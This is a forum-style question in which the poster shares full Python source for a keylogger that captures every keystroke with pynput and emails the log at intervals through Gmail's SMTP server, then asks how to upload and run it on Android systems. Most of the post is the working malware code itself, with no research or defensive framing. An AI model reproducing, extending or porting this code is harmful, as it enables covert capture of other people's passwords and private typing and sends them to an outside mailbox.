keyloggers – Using python scripts in Android

I made a key-logger using python. I Want to upload and run it on android systems. Is there any way I can do so?

Here is my code for the first file:

#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib

class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "Keylogger Strarted ... n"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press (self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        self.send_mail(self.email, self.password, "nn" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail (self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The second file:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "example@gmail.com", "password.pass")
my_keylogger.start()

The second file calls the code (class Key-logger) and then executes it. It is running fine on windows or Linux but I want to use it in Android as well. Please help me.